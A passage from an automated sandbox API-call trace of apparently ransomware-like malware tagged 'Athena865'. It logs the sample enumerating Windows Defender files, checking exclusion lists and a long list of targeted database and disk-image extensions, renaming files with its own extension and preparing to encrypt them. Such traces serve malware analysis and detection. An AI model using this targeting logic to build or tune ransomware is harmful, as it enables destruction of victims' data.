szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0046.440] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0046.440] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0046.440] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x60100, lpName=0x0) returned 0x17c [0046.442] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x60100) returned 0x1f0000 [0046.483] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0046.483] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0046.484] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0046.484] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0046.484] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0046.484] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0046.484] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0046.484] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0046.484] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0046.484] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x532d08 [0046.484] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0046.484] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0046.484] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0046.484] UnmapViewOfFile (lpBaseAddress=0x1f0000) returned 1 [0046.488] CloseHandle (hObject=0x17c) returned 1 [0046.488] CloseHandle (hObject=0x154) returned 1 [0046.492] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0046.492] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0046.492] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0046.494] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde9910bf, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xde9910bf, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x9ac13ba0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MpOAV.dll", cAlternateFileName="")) returned 1 [0046.494] lstrcmpiW (lpString1="MpOAV.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0046.494] lstrcmpiW (lpString1="MpOAV.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0046.494] lstrcmpiW (lpString1="MpOAV.dll", lpString2=".") returned 1 [0046.494] lstrcmpiW (lpString1="MpOAV.dll", lpString2="..") returned 1 [0046.494] lstrcmpiW (lpString1="MpOAV.dll", lpString2="windows") returned -1 [0046.494] lstrcmpiW (lpString1="MpOAV.dll", lpString2="bootmgr") returned 1 [0046.494] lstrcmpiW (lpString1="MpOAV.dll", lpString2="temp") returned -1 [0046.494] lstrcmpiW (lpString1="MpOAV.dll", lpString2="pagefile.sys") returned -1 [0046.494] lstrcmpiW (lpString1="MpOAV.dll", lpString2="boot") returned 1 [0046.494] lstrcmpiW (lpString1="MpOAV.dll", lpString2="ids.txt") returned 1 [0046.494] lstrcmpiW (lpString1="MpOAV.dll", lpString2="ntuser.dat") returned -1 [0046.494] lstrcmpiW (lpString1="MpOAV.dll", lpString2="perflogs") returned -1 [0046.494] lstrcmpiW (lpString1="MpOAV.dll", lpString2="MSBuild") returned -1 [0046.494] lstrlenW (lpString="MpOAV.dll") returned 9 [0046.494] lstrcpyW (in: lpString1=0x241e898, lpString2="MpOAV.dll" | out: lpString1="MpOAV.dll") returned="MpOAV.dll" [0046.494] lstrlenW (lpString="MpOAV.dll") returned 9 [0046.494] lstrlenW (lpString="Athena865") returned 9 [0046.494] lstrlenW (lpString=".dll") returned 4 [0046.494] lstrcmpiW (lpString1="MpOAV.dll", lpString2=".dll") returned 1 [0046.494] lstrlenW (lpString=".lnk") returned 4 [0046.494] lstrcmpiW (lpString1="MpOAV.dll", lpString2=".lnk") returned 1 [0046.494] lstrlenW (lpString=".ini") returned 4 [0046.495] lstrcmpiW (lpString1="MpOAV.dll", lpString2=".ini") returned 1 [0046.495] lstrlenW (lpString=".sys") returned 4 [0046.495] lstrcmpiW (lpString1="MpOAV.dll", lpString2=".sys") returned 1 [0046.495] lstrlenW (lpString="MpOAV.dll") returned 9 [0046.495] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Defender\\MpOAV.dll.Athena865") returned 59 [0046.495] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Defender\\MpOAV.dll" (normalized: "c:\\program files (x86)\\windows defender\\mpoav.dll"), lpNewFileName="C:\\Program Files (x86)\\Windows Defender\\MpOAV.dll.Athena865" (normalized: "c:\\program files (x86)\\windows defender\\mpoav.dll.athena865"), dwFlags=0x1) returned 1 [0046.495] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Defender\\MpOAV.dll.Athena865" (normalized: "c:\\program files (x86)\\windows defender\\mpoav.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0046.495] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=54784) returned 1 [0046.495] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0046.496] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0046.496] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0046.496] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0046.496] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0046.496] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0046.497] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd900, lpName=0x0) returned 0x17c [0046.499] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd900) returned 0x100000 [0046.503] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0046.504] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0046.504] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0046.504] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0046.504] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0046.504] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0046.504] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0046.504] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0046.504] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0046.504] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x532d08 [0046.505] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0046.505] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0046.505] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0046.505] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0046.505] CloseHandle (hObject=0x17c) returned 1 [0046.505] CloseHandle (hObject=0x154) returned 1 [0046.507] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0046.507] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0046.507] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0046.507] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdbe6c321, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xdbe6c321, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x6c6758d0, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MsMpLics.dll", cAlternateFileName="")) returned 1 [0046.507] lstrcmpiW (lpString1="MsMpLics.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0046.507] lstrcmpiW (lpString1="MsMpLics.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0046.507] lstrcmpiW (lpString1="MsMpLics.dll", lpString2=".") returned 1 [0046.507] lstrcmpiW (lpString1="MsMpLics.dll", lpString2="..") returned 1 [0046.507] lstrcmpiW (lpString1="MsMpLics.dll", lpString2="windows") returned -1 [0046.507] lstrcmpiW (lpString1="MsMpLics.dll", lpString2="bootmgr") returned 1 [0046.507] lstrcmpiW (lpString1="MsMpLics.dll", lpString2="temp") returned -1 [0046.507] lstrcmpiW (lpString1="MsMpLics.dll", lpString2="pagefile.sys") returned -1 [0046.507] lstrcmpiW (lpString1="MsMpLics.dll", lpString2="boot") returned 1 [0046.508] lstrcmpiW (lpString1="MsMpLics.dll", lpString2="ids.txt") returned 1 [0046.508] lstrcmpiW (lpString1="MsMpLics.dll", lpString2="ntuser.dat") returned -1 [0046.508] lstrcmpiW (lpString1="MsMpLics.dll", lpString2="perflogs") returned -1 [0046.508] lstrcmpiW (lpString1="MsMpLics.dll", lpString2="MSBuild") returned 1 [0046.508] lstrlenW (lpString="MsMpLics.dll") returned 12 [0046.508] lstrcpyW (in: lpString1=0x241e898, lpString2="MsMpLics.dll" | out: lpString1="MsMpLics.dll") returned="MsMpLics.dll" [0046.508] lstrlenW (lpString="MsMpLics.dll") returned 12 [0046.508] lstrlenW (lpString="Athena865") returned 9 [0046.508] lstrcmpiW (lpString1="pLics.dll", lpString2="Athena865") returned 1 [0046.508] lstrlenW (lpString=".dll") returned 4 [0046.508] lstrcmpiW (lpString1="MsMpLics.dll", lpString2=".dll") returned 1 [0046.508] lstrlenW (lpString=".lnk") returned 4 [0046.508] lstrcmpiW (lpString1="MsMpLics.dll", lpString2=".lnk") returned 1 [0046.508] lstrlenW (lpString=".ini") returned 4 [0046.508] lstrcmpiW (lpString1="MsMpLics.dll", lpString2=".ini") returned 1 [0046.508] lstrlenW (lpString=".sys") returned 4 [0046.508] lstrcmpiW (lpString1="MsMpLics.dll", lpString2=".sys") returned 1 [0046.508] lstrlenW (lpString="MsMpLics.dll") returned 12 [0046.508] lstrlenW (lpString="bak") returned 3 [0046.508] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0046.508] lstrlenW (lpString="ba_") returned 3 [0046.508] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0046.508] lstrlenW (lpString="dbb") returned 3 [0046.508] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0046.508] lstrlenW (lpString="vmdk") returned 4 [0046.508] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0046.508] lstrlenW (lpString="rar") returned 3 [0046.508] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0046.508] lstrlenW (lpString="zip") returned 3 [0046.508] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0046.508] lstrlenW (lpString="tgz") returned 3 [0046.508] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0046.508] lstrlenW (lpString="vbox") returned 4 [0046.508] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0046.508] lstrlenW (lpString="vdi") returned 3 [0046.508] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0046.509] lstrlenW (lpString="vhd") returned 3 [0046.509] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0046.509] lstrlenW (lpString="vhdx") returned 4 [0046.509] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0046.509] lstrlenW (lpString="avhd") returned 4 [0046.509] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0046.509] lstrlenW (lpString="db") returned 2 [0046.509] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0046.509] lstrlenW (lpString="db2") returned 3 [0046.509] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0046.509] lstrlenW (lpString="db3") returned 3 [0046.509] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0046.509] lstrlenW (lpString="dbf") returned 3 [0046.509] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0046.509] lstrlenW (lpString="mdf") returned 3 [0046.509] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0046.509] lstrlenW (lpString="mdb") returned 3 [0046.509] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0046.509] lstrlenW (lpString="sql") returned 3 [0046.509] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0046.509] lstrlenW (lpString="sqlite") returned 6 [0046.509] lstrcmpiW (lpString1="cs.dll", lpString2="sqlite") returned -1 [0046.509] lstrlenW (lpString="sqlite3") returned 7 [0046.509] lstrcmpiW (lpString1="ics.dll", lpString2="sqlite3") returned -1 [0046.509] lstrlenW (lpString="sqlitedb") returned 8 [0046.509] lstrcmpiW (lpString1="Lics.dll", lpString2="sqlitedb") returned -1 [0046.509] lstrlenW (lpString="xml") returned 3 [0046.509] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0046.509] lstrlenW (lpString="$er") returned 3 [0046.509] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0046.509] lstrlenW (lpString="4dd") returned 3 [0046.509] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0046.509] lstrlenW (lpString="4dl") returned 3 [0046.509] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0046.509] lstrlenW (lpString="^^^") returned 3 [0046.509] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0046.509] lstrlenW (lpString="abs") returned 3 [0046.510] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0046.510] lstrlenW (lpString="abx") returned 3 [0046.510] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0046.510] lstrlenW (lpString="accdb") returned 5 [0046.510] lstrcmpiW (lpString1="s.dll", lpString2="accdb") returned 1 [0046.510] lstrlenW (lpString="accdc") returned 5 [0046.510] lstrcmpiW (lpString1="s.dll", lpString2="accdc") returned 1 [0046.510] lstrlenW (lpString="accde") returned 5 [0046.510] lstrcmpiW (lpString1="s.dll", lpString2="accde") returned 1 [0046.510] lstrlenW (lpString="accdr") returned 5 [0046.510] lstrcmpiW (lpString1="s.dll", lpString2="accdr") returned 1 [0046.510] lstrlenW (lpString="accdt") returned 5 [0046.510] lstrcmpiW (lpString1="s.dll", lpString2="accdt") returned 1 [0046.510] lstrlenW (lpString="accdw") returned 5 [0046.510] lstrcmpiW (lpString1="s.dll", lpString2="accdw") returned 1 [0046.510] lstrlenW (lpString="accft") returned 5 [0046.510] lstrcmpiW (lpString1="s.dll", lpString2="accft") returned 1 [0046.510] lstrlenW (lpString="adb") returned 3 [0046.510] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0046.510] lstrlenW (lpString="adb") returned 3 [0046.510] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0046.510] lstrlenW (lpString="ade") returned 3 [0046.510] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0046.510] lstrlenW (lpString="adf") returned 3 [0046.510] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0046.510] lstrlenW (lpString="adn") returned 3 [0046.510] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0046.510] lstrlenW (lpString="adp") returned 3 [0046.510] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0046.510] lstrlenW (lpString="alf") returned 3 [0046.510] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0046.510] lstrlenW (lpString="ask") returned 3 [0046.510] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0046.510] lstrlenW (lpString="btr") returned 3 [0046.510] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0046.511] lstrlenW (lpString="cat") returned 3 [0046.511] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0046.511] lstrlenW (lpString="cdb") returned 3 [0046.511] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0046.511] lstrlenW (lpString="ckp") returned 3 [0046.511] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0046.511] lstrlenW (lpString="cma") returned 3 [0046.511] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0046.511] lstrlenW (lpString="cpd") returned 3 [0046.511] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0046.511] lstrlenW (lpString="dacpac") returned 6 [0046.511] lstrcmpiW (lpString1="cs.dll", lpString2="dacpac") returned -1 [0046.511] lstrlenW (lpString="dad") returned 3 [0046.511] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0046.511] lstrlenW (lpString="dadiagrams") returned 10 [0046.511] lstrcmpiW (lpString1="MpLics.dll", lpString2="dadiagrams") returned 1 [0046.511] lstrlenW (lpString="daschema") returned 8 [0046.511] lstrcmpiW (lpString1="Lics.dll", lpString2="daschema") returned 1 [0046.511] lstrlenW (lpString="db-journal") returned 10 [0046.511] lstrcmpiW (lpString1="MpLics.dll", lpString2="db-journal") returned 1 [0046.511] lstrlenW (lpString="db-shm") returned 6 [0046.511] lstrcmpiW (lpString1="cs.dll", lpString2="db-shm") returned -1 [0046.511] lstrlenW (lpString="db-wal") returned 6 [0046.511] lstrcmpiW (lpString1="cs.dll", lpString2="db-wal") returned -1 [0046.511] lstrlenW (lpString="dbc") returned 3 [0046.511] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0046.511] lstrlenW (lpString="dbs") returned 3 [0046.511] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0046.511] lstrlenW (lpString="dbt") returned 3 [0046.511] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0046.511] lstrlenW (lpString="dbv") returned 3 [0046.511] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0046.511] lstrlenW (lpString="dbx") returned 3 [0046.511] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0046.511] lstrlenW (lpString="dcb") returned 3 [0046.511] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0046.511] lstrlenW (lpString="dct") returned 3 [0046.512] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0046.512] lstrlenW (lpString="dcx") returned 3 [0046.512] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0046.512] lstrlenW (lpString="ddl") returned 3 [0046.512] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0046.512] lstrlenW (lpString="dlis") returned 4 [0046.512] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0046.512] lstrlenW (lpString="dp1") returned 3 [0046.512] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0046.512] lstrlenW (lpString="dqy") returned 3 [0046.512] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0046.512] lstrlenW (lpString="dsk") returned 3 [0046.512] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0046.512] lstrlenW (lpString="dsn") returned 3 [0046.512] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0046.512] lstrlenW (lpString="dtsx") returned 4 [0046.512] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0046.512] lstrlenW (lpString="dxl") returned 3 [0046.512] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0046.512] lstrlenW (lpString="eco") returned 3 [0046.512] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0046.512] lstrlenW (lpString="ecx") returned 3 [0046.512] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0046.512] lstrlenW (lpString="edb") returned 3 [0046.512] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0046.512] lstrlenW (lpString="epim") returned 4 [0046.512] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0046.512] lstrlenW (lpString="fcd") returned 3 [0046.512] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0046.512] lstrlenW (lpString="fdb") returned 3 [0046.512] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0046.512] lstrlenW (lpString="fic") returned 3 [0046.512] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0046.512] lstrlenW (lpString="flexolibrary") returned 12 [0046.512] lstrlenW (lpString="fm5") returned 3 [0046.512] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0046.512] lstrlenW (lpString="fmp") returned 3 [0046.513] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0046.513] lstrlenW (lpString="fmp12") returned 5 [0046.513] lstrcmpiW (lpString1="s.dll", lpString2="fmp12") returned 1 [0046.513] lstrlenW (lpString="fmpsl") returned 5 [0046.513] lstrcmpiW (lpString1="s.dll", lpString2="fmpsl") returned 1 [0046.513] lstrlenW (lpString="fol") returned 3 [0046.513] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0046.513] lstrlenW (lpString="fp3") returned 3 [0046.513] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0046.513] lstrlenW (lpString="fp4") returned 3 [0046.513] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0046.513] lstrlenW (lpString="fp5") returned 3 [0046.513] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0046.513] lstrlenW (lpString="fp7") returned 3 [0046.513] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0046.513] lstrlenW (lpString="fpt") returned 3 [0046.513] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0046.513] lstrlenW (lpString="frm") returned 3 [0046.513] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0046.513] lstrlenW (lpString="gdb") returned 3 [0046.513] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0046.513] lstrlenW (lpString="gdb") returned 3 [0046.513] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0046.513] lstrlenW (lpString="grdb") returned 4 [0046.513] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0046.513] lstrlenW (lpString="gwi") returned 3 [0046.513] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0046.513] lstrlenW (lpString="hdb") returned 3 [0046.513] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0046.513] lstrlenW (lpString="his") returned 3 [0046.513] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0046.513] lstrlenW (lpString="ib") returned 2 [0046.513] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0046.513] lstrlenW (lpString="idb") returned 3 [0046.513] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0046.513] lstrlenW (lpString="ihx") returned 3 [0046.513] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0046.514] lstrlenW (lpString="itdb") returned 4 [0046.514] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0046.514] lstrlenW (lpString="itw") returned 3 [0046.514] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0046.514] lstrlenW (lpString="jet") returned 3 [0046.514] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0046.514] lstrlenW (lpString="jtx") returned 3 [0046.514] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0046.514] lstrlenW (lpString="kdb") returned 3 [0046.514] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0046.514] lstrlenW (lpString="kexi") returned 4 [0046.514] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0046.514] lstrlenW (lpString="kexic") returned 5 [0046.514] lstrcmpiW (lpString1="s.dll", lpString2="kexic") returned 1 [0046.514] lstrlenW (lpString="kexis") returned 5 [0046.514] lstrcmpiW (lpString1="s.dll", lpString2="kexis") returned 1 [0046.514] lstrlenW (lpString="lgc") returned 3 [0046.514] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0046.514] lstrlenW (lpString="lwx") returned 3 [0046.514] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0046.514] lstrlenW (lpString="maf") returned 3 [0046.514] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0046.514] lstrlenW (lpString="maq") returned 3 [0046.514] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0046.514] lstrlenW (lpString="mar") returned 3 [0046.514] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0046.514] lstrlenW (lpString="marshal") returned 7 [0046.514] lstrcmpiW (lpString1="ics.dll", lpString2="marshal") returned -1 [0046.514] lstrlenW (lpString="mas") returned 3 [0046.514] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0046.514] lstrlenW (lpString="mav") returned 3 [0046.514] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0046.514] lstrlenW (lpString="maw") returned 3 [0046.514] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0046.514] lstrlenW (lpString="mdbhtml") returned 7 [0046.514] lstrcmpiW (lpString1="ics.dll", lpString2="mdbhtml") returned -1 [0046.514] lstrlenW (lpString="mdn") returned 3 [0046.515] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0046.515] lstrlenW (lpString="mdt") returned 3 [0046.515] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0046.515] lstrlenW (lpString="mfd") returned 3 [0046.515] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0046.515] lstrlenW (lpString="mpd") returned 3 [0046.515] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0046.515] lstrlenW (lpString="mrg") returned 3 [0046.515] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0046.515] lstrlenW (lpString="mud") returned 3 [0046.515] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0046.515] lstrlenW (lpString="mwb") returned 3 [0046.515] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0046.515] lstrlenW (lpString="myd") returned 3 [0046.515] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0046.515] lstrlenW (lpString="ndf") returned 3 [0046.515] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0046.515] lstrlenW (lpString="nnt") returned 3 [0046.515] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0046.515] lstrlenW (lpString="nrmlib") returned 6 [0046.515] lstrcmpiW (lpString1="cs.dll", lpString2="nrmlib") returned -1 [0046.515] lstrlenW (lpString="ns2") returned 3 [0046.515] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0046.515] lstrlenW (lpString="ns3") returned 3 [0046.515] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0046.515] lstrlenW (lpString="ns4") returned 3 [0046.515] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0046.515] lstrlenW (lpString="nsf") returned 3 [0046.515] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0046.515] lstrlenW (lpString="nv") returned 2 [0046.515] 